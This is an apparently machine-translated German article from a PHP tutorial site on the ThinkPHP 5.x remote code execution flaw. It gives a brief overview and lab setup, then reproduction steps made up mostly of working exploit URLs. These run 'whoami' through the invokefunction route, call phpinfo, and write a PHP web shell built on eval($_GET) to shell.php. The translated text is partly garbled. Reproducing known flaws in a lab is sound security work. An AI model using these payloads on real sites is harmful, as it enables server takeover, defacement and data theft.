Heim > Artikel > PHP-Framework > Sicherheitslücke bei thinkphp-Remotebefehlsausführung
Schwachstellenübersicht
ThinkPHP ist ein beliebtes Open-Source-PHP-Framework in China. Kürzlich wurde bekannt, dass es eine mögliche Remote-Codeausführung gibt Schwachstelle: Angreifer können PHP-Code in die Cache-Datei schreiben, was zur Remote-Codeausführung führt.
Obwohl es mehrere Voraussetzungen für die Ausnutzung dieser Sicherheitslücke gibt, hat diese Sicherheitslücke angesichts der großen Anzahl inländischer Websites, die das ThinkPHP-Framework verwenden, immer noch ein gewisses Ausmaß an Auswirkungen. Da das Framework den Controller-Namen nicht ausreichend erkennt, kann es zu einer möglichen Getshell-Schwachstelle kommen, wenn die erzwungene Weiterleitung nicht aktiviert ist.
Gefahren der Sicherheitslücke
Ein Angreifer kann durch diese Sicherheitslücke die Kontrolle über die Website erlangen und die Seite ändern, was zu Datenlecks und anderen Problemen führt.
Betroffene Version
5.x
Reproduktionsumgebung
thinkphp5.1 phpstudy integrierte Umgebung (php5.6n+Apache+MySQL)
Reproduktionsprozess
1. Erster Build wie in der Abbildung gezeigt. Gut Umgebung
2. Verwenden Sie die Systemfunktion, um Remote-Befehle auszuführen:
http://localhost/thinkphp5.1/html/public/ index .php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=whoami
3. Via phpinfo Die Funktion schreibt die Informationen von phpinfo():
http://localhost/thinkphp5.1/html/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0% 5D= phpinfo&vars%5B1%5D%5B%5D=1
4. Shell schreiben:
http://localhost / thinkphp5.1/html/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[ % 22code%22])?^%3E%3Eshell.php
oder
http://localhost/thinkphp5. 1 /html/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=
Empfohlenes Tutorial: „TP5“
Das obige ist der detaillierte Inhalt vonSicherheitslücke bei thinkphp-Remotebefehlsausführung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!